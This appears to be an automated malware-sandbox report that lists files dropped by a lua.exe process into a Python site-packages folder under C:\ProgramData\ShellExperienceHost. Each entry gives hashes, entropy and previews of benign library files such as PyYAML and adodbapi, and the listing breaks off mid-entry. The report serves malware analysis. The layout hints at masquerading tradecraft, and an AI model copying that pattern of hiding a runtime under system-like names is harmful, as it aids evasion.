Preview:	#!/usr/bin/env python.# encoding: utf-8..import sys.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.# [[ NakedObject class ]].# A generic Python object.# Assigns object attributes by key name in the dictionary argument to the constructor.# The methods are inherited by other mutable Naked object extension types.# Attribute accessors: hasattr, getattr, setattr, delattr.#------------------------------------------------------------------------------.class NakedObject(object):. # initialize with an attributes dictionary {attribute_name: attribute_value}. def __init__(self, attributes={}, naked_type='NakedObject'):. if len(attributes) > 0:. for key in attributes:. setattr(self, key, attributes[key]). setattr(self, '_naked_type_', naked_type) # maintain an attribute to keep track of the extension type.. #------------------------------------------------------

C:\ProgramData\ShellExperienceHost\Lib\site-packages\PyYAML-5.3.1.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\PyYAML-5.3.1.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	UTF-8 Unicode text
Category:	dropped
Size (bytes):	1101
Entropy (8bit):	5.169421405185982
Encrypted:	false
SSDEEP:	24:aNrOJH7H0yxgtUHw1hC09QHOsUv4eOk4/+/m3oqLFh:8SJrlxEvdQHOs5exm3ogFh
MD5:	7BBD28CAA69F81F5CD5F48647236663D
SHA1:	E99E74D048726C39136DC992F1FB5998972E3B4E
SHA-256:	C40112449F254B9753045925248313E9270EFA36D226B22D82D4CC6C43C57F29
SHA-512:	AF9828C79E26E3D270FBB5E802B9DB2366D25D38C05F14DB052DCEF44214BA29F62FD87BDB30B8973C6389FE0ACB91A238EA920685B2F0395E2F969838E4CA43
Malicious:	false
Preview:	Copyright (c) 2017-2020 Ingy d.t Net.Copyright (c) 2006-2016 Kirill Simonov..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies.of the Software, and to permit persons to whom the Software is furnished to do.so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, A

C:\ProgramData\ShellExperienceHost\Lib\site-packages\PyYAML-5.3.1.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	4.8153552387970615
Encrypted:	false
SSDEEP:	48:DR9P43SQIgjaaxLiPkxsxy13k0NbV6Q/myvi:DR9wiQIgjaaxmPkxsxy13V1V6mmy6
MD5:	5E5567B6793953D3708F6E88BFF73591
SHA1:	0A5FA7C648ADF47DEEBFE218CFAFAD930842D107
SHA-256:	24C1C623065385294D7261B15D3559F8D14D2B72A210705D7EBC8915F3C6ED89
SHA-512:	B9334A83C10BEEFDAC5B9C16CBEDCD4C37B4E831607C3045BF2FA62ABD92635ADDBA78CFF93C401B260AE711415F7E4EE6073F029A5FAE46ED04C1509CE0A5E7
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: PyYAML.Version: 5.3.1.Summary: YAML parser and emitter for Python.Home-page: https://github.com/yaml/pyyaml.Author: Kirill Simonov.Author-email: xi@resolvent.net.License: MIT.Download-URL: https://pypi.org/project/PyYAML/.Platform: Any.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Cython.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: Implementation :: CPython.Classifier: Programming Language :

C:\ProgramData\ShellExperienceHost\Lib\site-packages\PyYAML-5.3.1.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4101
Entropy (8bit):	5.7986075228303084
Encrypted:	false
SSDEEP:	96:kXA1OKqcRjy85fG4woMg69+uPBb+DlMs94cT6e6LVkSAiCdErqPie+z53VQG8adB:kXA1OQfhwfuq8wKBmhv
MD5:	C373A32B46650862C70F6C2AE8ED943B
SHA1:	0359474742A27CFCB290ED457AAA90BBBD8193C9
SHA-256:	32DD6D26384542ABF55F743CE48BED88A7ADE83A156FE79C29D7BD691331E1D3
SHA-512:	0AA4E345DED5DBE5FD204251C8A9888EB5FDEA6373F5661762F599DC4C6D3AA33676F68180E00F5CD1188D0DA53E53D8BDDA257ECB2155C5F0775A27F1A6FC0B
Malicious:	false
Preview:	PyYAML-5.3.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..PyYAML-5.3.1.dist-info/LICENSE,sha256=xAESRJ8lS5dTBFklJIMT6ScO-jbSJrItgtTMbEPFfyk,1101..PyYAML-5.3.1.dist-info/METADATA,sha256=JMHGIwZThSlNcmGxXTVZ-NFNK3KiEHBdfryJFfPG7Yk,1690..PyYAML-5.3.1.dist-info/RECORD,,..PyYAML-5.3.1.dist-info/WHEEL,sha256=W7gQNdCXaaCQL4_mS6kf-ClnoFRCfSnJ5Gcl1436agg,102.._yaml.cp37-win32.pyd,sha256=KEWNCuXRKjCsq-yrMPM_CAY1egErbvKlVlErGBimHVI,231424..yaml/__init__.py,sha256=XFUNbKTg4afAd0BETjGQ1mKQ97_g5jbE1C0WoKc74dc,13170..yaml/__pycache__/__init__.cpython-37.pyc,,..yaml/__pycache__/__init__.cpython-37.pyc,sha256=9mlMJ9tOMjw3NCTZDIbmaDm2agMAVuwVdoDlJFuS8XE,11723..yaml/__pycache__/composer.cpython-37.pyc,,..yaml/__pycache__/composer.cpython-37.pyc,sha256=vnr3dHCKUhY1b5TAV9RNU9Q9bBlJESiGW-Ua2lt767c,3484..yaml/__pycache__/constructor.cpython-37.pyc,,..yaml/__pycache__/constructor.cpython-37.pyc,sha256=1uv5yXxahyI9QlLSJo-l1gM93KeL8cTsjsmM6s5zIXc,21210..yaml/__pycache__/cyaml.cpytho

C:\ProgramData\ShellExperienceHost\Lib\site-packages\PyYAML-5.3.1.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	102
Entropy (8bit):	5.045097529036378
Encrypted:	false
SSDEEP:	3:RtED7MWcSlVitcoSKjP+tkSrLcyn:RtEMwlViWo5jWKSrLcyn
MD5:	30AAE992778A401E7620859D6456422C
SHA1:	751928BE6E407C0BC63911C47822C1E88AF0F442
SHA-256:	5BB81035D09769A0902F8FE64BA91FF82967A054427D29C9E46725D78DFA6A08
SHA-512:	C59AF34CB4D9921E9E188EFD7E88D4F69E86F3EB8394ACA3E33A89279DAFE6CFB2C6258B0DE746AFB4E355C8D32A29E05CC4E7F7107186F7222C17EFCA7558D3
Malicious:	false
Preview:	Wheel-Version: 1.0..Generator: bdist_wheel (0.34.2)..Root-Is-Purelib: false..Tag: cp37-cp37m-win32....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2097
Entropy (8bit):	4.819004732198873
Encrypted:	false
SSDEEP:	48:axtohGsrHAKNPcd+WN6jrdXjzUJqJSHzUJqJ7+2z5YqJ2R:CtohGsrHAKuV8jBHcqJicqJn5YqJ+
MD5:	B20A830A82F6F8DF8F57FD5EC837F2AD
SHA1:	2590761DFBE32D8225EC7C460D947647E25DBABB
SHA-256:	DE8937B154BA0D050A40E574D5F7B55B3CD80DD22C3866EE7484BF3EB398F421
SHA-512:	7E65CA75D9B27B3340D95682C3563A06C3AD3E981381C416D0B140FA389E87E284045E03B99C75E0C750A763B06C630C19BD0D2D18B1FEC9920F5DA2016656B8
Malicious:	false
Preview:	"""adodbapi - A python DB API 2.0 (PEP 249) interface to Microsoft ADO..Copyright (C) 2002 Henrik Ekelund, version 2.1 by Vernon Cole.* http://sourceforge.net/projects/adodbapi.""".import sys.import time..from .apibase import apilevel, threadsafety, paramstyle.from .apibase import Warning, Error, InterfaceError, DatabaseError, DataError, OperationalError, IntegrityError.from .apibase import InternalError, ProgrammingError, NotSupportedError, FetchFailedError.from .apibase import NUMBER, STRING, BINARY, DATETIME, ROWID..from .adodbapi import connect, Connection, __version__, dateconverter, Cursor..def Binary(aString):. """This function constructs an object capable of holding a binary (long) string value. """. return bytes(aString)..def Date(year,month,day):. "This function constructs an object holding a date value. ". return dateconverter.Date(year,month,day)..def Time(hour,minute,second):. "This function constructs an object holding a time value. ". return dateconvert

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\ado_consts.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10615
Entropy (8bit):	4.8560236077729035
Encrypted:	false
SSDEEP:	192:ihyx4kaEkr8Co4rYLEAo9ihcXfNAqGlXpAxkPS:Is5BQMpA6S
MD5:	97FB4474CEF9DCFACD24AD7A8B66CE1F
SHA1:	710977BD4BF3D6B246CB1C98D792BA4214F54F47
SHA-256:	CE3520EE60137104F5C67AD6548D7B3DE58ED0B9B10055050E816631D3B2C265
SHA-512:	939E5A32EC4A70A388EA818AB7BB3525C9B05C0E99F5868F91A9F11BF1A0CD39CADEB2814265B58758074BC7FA14505C0FC393A3EA295D8CAD7D4E3349459823
Malicious:	false
Preview:	# ADO enumerated constants documented on MSDN:.# http://msdn.microsoft.com/en-us/library/ms678353(VS.85).aspx..# IsolationLevelEnum.adXactUnspecified = -1.adXactBrowse = 0x100.adXactChaos = 0x10.adXactCursorStability = 0x1000.adXactIsolated = 0x100000.adXactReadCommitted = 0x1000.adXactReadUncommitted = 0x100.adXactRepeatableRead = 0x10000.adXactSerializable = 0x100000..# CursorLocationEnum.adUseClient = 3.adUseServer = 2..# CursorTypeEnum.adOpenDynamic = 2.adOpenForwardOnly = 0.adOpenKeyset = 1.adOpenStatic = 3.adOpenUnspecified = -1..# CommandTypeEnum.adCmdText = 1.adCmdStoredProc = 4.adSchemaTables = 20..# ParameterDirectionEnum.adParamInput = 1.adParamInputOutput = 3.adParamOutput = 2.adParamReturnValue = 4.adParamUnknown = 0.directions = {. 0: 'Unknown',. 1: 'Input',. 2: 'Output',. 3: 'InputOutput',. 4: 'Return',. }.def ado_direction_name(ado_dir):. try:. retu

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\adodbapi.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	46685
Entropy (8bit):	4.419352479786135
Encrypted:	false
SSDEEP:	768:+uQoM2MTj9ZwnKSt0d2vIZQdnwvu1/rqqoEpArtgcyWxrRT5kKY0q:+4M2uj9ZwnKSt0d2AqwvuhH9pArJlrR8
MD5:	A317F57F74000448FC234F02896EA7AD
SHA1:	E66CEF5A6C97CAF3DC7A6207685476F3606D75E4
SHA-256:	3943D0F55BE9ABB301F686C15B15117C34769F9B9E78420E4127D1AF72196E14
SHA-512:	BA5B85F59B4A2B6E5C6040B0CB605A31DABCACF5D3AD2F04472F1C6E0A9F6A5992B1863CD4EB6172FDF99267E3D515B800083B0DD36FBDCF7DDE548DA8ED9ABF
Malicious:	false
Preview:	"""adodbapi - A python DB API 2.0 (PEP 249) interface to Microsoft ADO..Copyright (C) 2002 Henrik Ekelund, versions 2.1 and later by Vernon Cole.* http://sourceforge.net/projects/pywin32.* https://github.com/mhammond/pywin32.* http://sourceforge.net/projects/adodbapi.. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 0211

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\apibase.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28881
Entropy (8bit):	4.730277036239611
Encrypted:	false
SSDEEP:	384:FMAe5m0i6e5k79qfgpdRTUxG0rt7t4OZ8+ZtQDjZ6wnJkbUU/ziIsu:FM35mOe5k7lvUo0rtZdZ8cgjZ6qJsrf
MD5:	97ACA6B9A28FFA7AE2B3CCBF4DD828DE
SHA1:	4E57BA7A7D292C31BD78CD28BE64A4FEDB2B9305
SHA-256:	B73BA9EEC87E69E56A4E8D27F2961AF34B5298655EA64013CFCA38700053D34B
SHA-512:	44D972303AE0114694962DDC34FFC7629BD18D0EF8BF8FF85DD71E8E7A1E74C56E39461B9CF5437DA0ADD0077A8BCA46795772CAB2455239FF2D7B467A52C0EE
Malicious:	false
Preview:	"""adodbapi.apibase - A python DB API 2.0 (PEP 249) interface to Microsoft ADO....Copyright (C) 2002 Henrik Ekelund, version 2.1 by Vernon Cole..* http://sourceforge.net/projects/pywin32..* http://sourceforge.net/projects/adodbapi.."""....import sys..import time..import datetime..import decimal..import numbers..# noinspection PyUnresolvedReferences..from . import ado_consts as adc....verbose = False # debugging flag....onIronPython = sys.platform == 'cli'..if onIronPython: # we need type definitions for odd data we may need to convert.. # noinspection PyUnresolvedReferences.. from System import DBNull, DateTime.. NullTypes = (type(None), DBNull)..else:.. DateTime = type(NotImplemented) # should never be seen on win32.. NullTypes = type(None)....# --- define objects to smooth out Python3 <-> Python 2.x differences..unicodeType = str..longType = int..StringTypes = str..makeByteBuffer = bytes..memoryViewType = memoryview.._BaseException = Exception....try:

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\examples\db_print.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2236
Entropy (8bit):	4.833903677213369
Encrypted:	false
SSDEEP:	24:HR7CVAw3OckCk/URiI9bhB2wt5ppK44ZSHt4YyLlOBvZ+VCwKLE19prDwK+GK39i:xm18ERi+PpK44ZSN4ZLm+4GbwVt3yg6h
MD5:	96D9F5F4ECD8049CE3D960FB057B2F17
SHA1:	B0589009D0D3BE258D3BE0273FE6F4206B07E1E4
SHA-256:	2611B52E7AC518E5834E9328A89D2EAE90E407F2506349E45B85FC94B981E496
SHA-512:	E719AEE26BAACAA362E26E3FE9862B667A31AB6B1B0E34DC310E52BE8A7138E5FAFCD2BF6C1456CC69BF15BE401D39878FEEB8A9E59C636F3897FFB005CB30B3
Malicious:	false
Preview:	""" db_print.py -- a simple demo for ADO database reads."""....import sys..import adodbapi.ado_consts as adc....cmd_args = ('filename', 'table_name')..if 'help' in sys.argv:.. print('possible settings keywords are:',cmd_args).. sys.exit()....kw_args = {} # pick up filename and proxy address from command line (optionally)..for arg in sys.argv:.. s = arg.split("=").. if len(s) > 1:.. if s[0] in cmd_args:.. kw_args[s[0]] = s[1]....kw_args.setdefault('filename', "test.mdb") # assumes server is running from examples folder..kw_args.setdefault('table_name', 'Products') # the name of the demo table....# the server needs to select the provider based on his Python installation..provider_switch = ['provider', 'Microsoft.ACE.OLEDB.12.0', "Microsoft.Jet.OLEDB.4.0"]....# ------------------------ START HERE -------------------------------------..#create the connection..constr = "Provider=%(provider)s;Data Source=%(filename)s"..import adodbapi as db..con = db.connect(

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\examples\db_table_names.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	4.995125505838
Encrypted:	false
SSDEEP:	12:i+F7Q6K53hYxWvpB3h0clyeH59/M5EYc0rqt/hPWboc37fmm:nF7cPYCbRH59oEYcf/Otqm
MD5:	3FFD290D5415D1E2843A2ADDC9A4CB6E
SHA1:	B2EAC5CD09DD1EC02C2F44EFC00B7EC7B143B68A
SHA-256:	0E79174FDF00132979A19F4CC33489669A346B1E197F35F1CDA176FB308D627C
SHA-512:	F27222481063F9D996925EADDAA47BC5C39B390BBF57021B548518542823218AF412CC5A3ED2E4FC0537E24302260C8F3EF5654A6F48C6A7699F9206BC56B2DB
Malicious:	false
Preview:	""" db_table_names.py -- a simple demo for ADO database table listing."""..import sys..import adodbapi....try:.. databasename = sys.argv[1]..except IndexError:.. databasename = "test.mdb"....provider = ['prv', "Microsoft.ACE.OLEDB.12.0", "Microsoft.Jet.OLEDB.4.0"]..constr = "Provider=%(prv)s;Data Source=%(db)s"....#create the connection..con = adodbapi.connect(constr, db=databasename, macro_is64bit=provider)....print('Table names in= %s' % databasename)....for table in con.get_table_names():.. print(table)..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\examples\xls_read.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	5.052939482404708
Encrypted:	false
SSDEEP:	24:kxq9iLbhyvg/PaYKabL15z6MbeeGM4zrYErgyXV:kZ3wvgHFK4LP/beePYgyXV
MD5:	CCACBB18A5F1456C342A6FFCB51ABEDF
SHA1:	EFBD11A376B20F27B2BF4536A4F3CD3D88654C14
SHA-256:	7FFC036470F63D94A9F1148328688FFF50DD1409CA4320B4CC673FF1EBEA4118
SHA-512:	46A601881BA065CB6E88D9A20FA05A9F789442EB2FEA15B9ACDB4510965B2CF43CAA1ACEA412D6DE0A0C83EF98ED63CF03620A302CF0C90BB8FC6A7A2D91FC8D
Malicious:	false
Preview:	import sys..import adodbapi..try:.. import adodbapi.is64bit as is64bit.. is64 = is64bit.Python()..except ImportError:.. is64 = False....if is64:.. driver = "Microsoft.ACE.OLEDB.12.0"..else:.. driver = "Microsoft.Jet.OLEDB.4.0"..extended = 'Extended Properties="Excel 8.0;HDR=Yes;IMEX=1;"'....try: # first command line argument will be xls file name -- default to the one written by xls_write.py.. filename = sys.argv[1]..except IndexError:.. filename = 'xx.xls'....constr = "Provider=%s;Data Source=%s;%s" % (driver, filename, extended)....conn = adodbapi.connect(constr)....try: # second command line argument will be worksheet name -- default to first worksheet.. sheet = sys.argv[2]..except IndexError:.. # use ADO feature to get the name of the first worksheet.. sheet = conn.get_table_names()[0]....print('Shreadsheet=%s Worksheet=%s' % (filename, sheet))..print('------------------------------------------------------------')..crsr = conn.cursor()..sql = "SELE

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\examples\xls_write.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.964934119546142
Encrypted:	false
SSDEEP:	24:PIqqWSLbXimscDL15z2oWPkVYb0A65zx1114D1nCLirqLIo:PnS36cDLOvb0vD114JnCNLR
MD5:	8FBD18E3C821F43D68E55318B13CF693
SHA1:	26CB5FAED45DDB1CA6BE939CD2CA68B4AA2342FD
SHA-256:	6DC07615653BAB9E148DCA63291127E0DDA41BEF8F267582DE9BC1361E74BA42
SHA-512:	A12EAE3C9D5C0D17F3DEBB6FF40F885A1D58064A460E021803D49FE8E09D1F929B13F5B0DA6AB95CB5AE0FDCFDF145DAAA387557A61A7B37B35267F818B841D1
Malicious:	false
Preview:	import adodbapi..import datetime..try:.. import adodbapi.is64bit as is64bit.. is64 = is64bit.Python()..except ImportError:.. is64 = False # in case the user has an old version of adodbapi..if is64:.. driver = "Microsoft.ACE.OLEDB.12.0"..else:.. driver = "Microsoft.Jet.OLEDB.4.0"..filename = 'xx.xls' # file will be created if it does not exist..extended = 'Extended Properties="Excel 8.0;Readonly=False;"'....constr = "Provider=%s;Data Source=%s;%s" % (driver, filename, extended)....conn = adodbapi.connect(constr)..with conn: # will auto commit if no errors.. with conn.cursor() as crsr:.. try: crsr.execute('drop table SheetOne').. except: pass # just is case there is one already there.... # create the sheet and the header row and set the types for the columns.. crsr.execute('create table SheetOne (Name varchar, Rank varchar, SrvcNum integer, Weight float, Birth date)').... sql = "INSERT INTO SheetOne (name, rank , srvcnum, weight

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\is64bit.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1203
Entropy (8bit):	4.726247984834011
Encrypted:	false
SSDEEP:	24:tHUmPtH+vt/1T77ChCWiEkH//BQ7/hMiWnKF7BSfSQbIgvgGgQtICdeeppJRNE:tHXVHwtNTeC5bH//S7Cnk7BSfSQc1GgL
MD5:	436161183FF19C85F1B52A716D466FF6
SHA1:	233595387599435B72F82C3C87CFC733AB5633DE
SHA-256:	841024566C44BFE1C81350186F2968C6F06FA927AAAA45B6243A7AD8CBED632D
SHA-512:	A33036574205F9772D7E4F660E132925470DAEC2D634F8370D054133EF985FC93B502C586AF073F2251BE9BF5930174F8CCDD0A04B6FC34D9FD471B6650F4E59
Malicious:	false
Preview:	"""is64bit.Python() --> boolean value of detected Python word size. is64bit.os() --> os build version"""..import sys....def Python():.. if sys.platform == 'cli': #IronPython.. import System.. return System.IntPtr.Size == 8.. else:.. try:.. return sys.maxsize > 2147483647.. except AttributeError:.. return sys.maxint > 2147483647....def os():.. import platform.. pm = platform.machine().. if pm != '..' and pm.endswith('64'): # recent Python (not Iron).. return True.. else:.. import os.. if 'PROCESSOR_ARCHITEW6432' in os.environ:.. return True # 32 bit program running on 64 bit Windows.. try:.. return os.environ['PROCESSOR_ARCHITECTURE'].endswith('64') # 64 bit Windows 64 bit program.. except (IndexError, KeyError):.. pass # not Windows.. try:.. return '64' in platform.architecture()[0] # this often works in Linux.. except:..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\license.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	26423
Entropy (8bit):	4.611827311945595
Encrypted:	false
SSDEEP:	384:Xv56OuAbnL0UP+X6wFDVxnF+7xqsvLt+z/k8E9HinIVFkspWM9bc7opt0SZuQi:Xv5trJ+DnFCL1leSWmc7ktvZuQi
MD5:	652B4E2F7A8A93E7ABDD2DE7031E0BDB
SHA1:	C627EBED0FC837F3F926B18F9A1712028D60F233
SHA-256:	610E0C3A24A26ACB0470F8F5EB0298DF966FC380CEE8E0FEBDAC6791B6209D6C
SHA-512:	7979E76E3706D83D8F59FF2F16F10373B7A14718E41CDBE2DA8EA3BB9AAD797DBDAAEDA44253F0ECABBC6A327A53138DF257BE4EB7CACCA6041F23A05C94A18D
Malicious:	false
Preview:	.. GNU LESSER GENERAL PUBLIC LICENSE... Version 2.1, February 1999.. Copyright (C) 1991, 1999 Free Software Foundation, Inc.. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. Everyone is permitted to copy and distribute verbatim copies. of this license document, but changing it is not allowed...[This is the first released version of the Lesser GPL. It also counts. as the successor of the GNU Library Public License, version 2, hence. the version number 2.1.]..... Preamble.. The licenses for most software are designed to take away your.freedom to share and change it. By contrast, the GNU General Public.Licenses are intended to guarantee your freedom to share and change.free software--to make sure the software is free for all its users... This license, the Lesser General Public License, applies to some.specially designated software packages--typically libraries--of the.Free Software Foundation and other authors who decide to use it. You.can use it too, but we su

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\process_connect_string.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5494
Entropy (8bit):	4.4267978499209955
Encrypted:	false
SSDEEP:	96:5VhqUYGp3lPG5pPHwyfXu1X1+8HoJsK/ItGoGT+GTGNdMGtgN4JFH3i:kl0lPG5FQ/vNd/5H3i
MD5:	C6C854430269FFC0DFA7AD4510CAD7DF
SHA1:	65E446AC20FB633E93C29BADD1D6C154F940EE98
SHA-256:	5189EB3F731CA7C4E88E5BCCC3FEC77BE4E8BDD022D7ACE2CB1761C2497A6419
SHA-512:	33C38DC49536289EC08121F5506E252576E4ABA17553615A3B20359EEF62B3795067F7856D0F71BEB276FD5C6ECC06BF8F0B4973E43622D3904405121FC739B3
Malicious:	false
Preview:	""" a clumsy attempt at a macro language to let the programmer execute code on the server (ex: determine 64bit)"""..from . import is64bit as is64bit....def macro_call(macro_name, args, kwargs):.. """ allow the programmer to perform limited processing on the server by passing macro names and args.... :new_key - the key name the macro will create.. :args[0] - macro name.. :args[1:] - any arguments.. :code - the value of the keyword item.. :kwargs - the connection keyword dictionary. ??key has been removed.. --> the value to put in for kwargs['name'] = value.. """.. if isinstance(args, (str, str)):.. args = [args] # the user forgot to pass a sequence, so make a string into args[0].. new_key = args[0].. try:.. if macro_name == "is64bit":.. if is64bit.Python(): # if on 64 bit Python.. return new_key, args[1] # return first argument.. else:.. try:.. return new_key, args[

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\readme.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5077
Entropy (8bit):	4.884297848702526
Encrypted:	false
SSDEEP:	96:/yxrPLNlZYTR9xq6YnSzzQuOldblTEN8tvEqGcVEf7NjVDlUzYfi2T:/8/TXdbdvDGcVEf7NjH3L
MD5:	57C9E012D4EDD985537CFDAB7A480C8F
SHA1:	E79E4B89D08954B8A9949148F6E6C8E14E2813D1
SHA-256:	2E4EE2F591480A5ED3E2750BB04CCA0621F0F1B195C9A2F320C14ED0541DDBDD
SHA-512:	1356923628D57703C1FE0D6634888F2C92F7DB1A2C123D6A6C51FED212A9C9473DDC2DB1D4D9FF3A86AF9FDD328DAF2BD54F2ECB050CAE93E114703FE1D24EBD
Malicious:	false
Preview:	Project..-------..adodbapi....A Python DB-API 2.0 (PEP-249) module that makes it easy to use Microsoft ADO ..for connecting with databases and other data sources..using either CPython or IronPython.....Home page: <http://sourceforge.net/projects/adodbapi>....Features:..* 100% DB-API 2.0 (PEP-249) compliant (including most extensions and recommendations)...* Includes pyunit testcases that describe how to use the module. ..* Fully implemented in Python. -- runs in Python 2.5+ Python 3.0+ and IronPython 2.6+..* Licensed under the LGPL license, which means that it can be used freely even in commercial programs subject to certain restrictions. ..* The user can choose between paramstyles: 'qmark' 'named' 'format' 'pyformat' 'dynamic'..* Supports data retrieval by column name e.g.:.. for row in myCurser.execute("select name,age from students"):.. print("Student", row.name, "is", row.age, "years old.")..* Supports user-definable system-to-Python data conversion functions (selected by ADO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\remote.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19896
Entropy (8bit):	4.5493669740790645
Encrypted:	false
SSDEEP:	384:n2huQztB2mvjX9b1aa+cvDJFkHZCzSjdDd:n2huQztRvjtDJFAjjdDd
MD5:	4C2DFECD18E2C550EA1EC106FA0C4FA8
SHA1:	79A0077BDB9FAB77C0A43DFCDCF18A9704DFF3D6
SHA-256:	3EDBA6B4D126E70BCC71FFC8B23C92E9EA17431F3B4AB971C375715960E97A7B
SHA-512:	4DCCE965056D309631A515674A8F892094317BC97E2DB359B4E6A8BB763BE0C10C950E9667130A02DD8AFB89B9E7617A7071975CEDB973EB67394F14B5D41761
Malicious:	false
Preview:	"""adodbapi.remote - A python DB API 2.0 (PEP 249) interface to Microsoft ADO..Copyright (C) 2002 Henrik Ekelund, version 2.1 by Vernon Cole.* http://sourceforge.net/projects/pywin32.* http://sourceforge.net/projects/adodbapi.. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.. django adaptations and re

C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\schema_table.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	432
Entropy (8bit):	4.741784618097318
Encrypted:	false
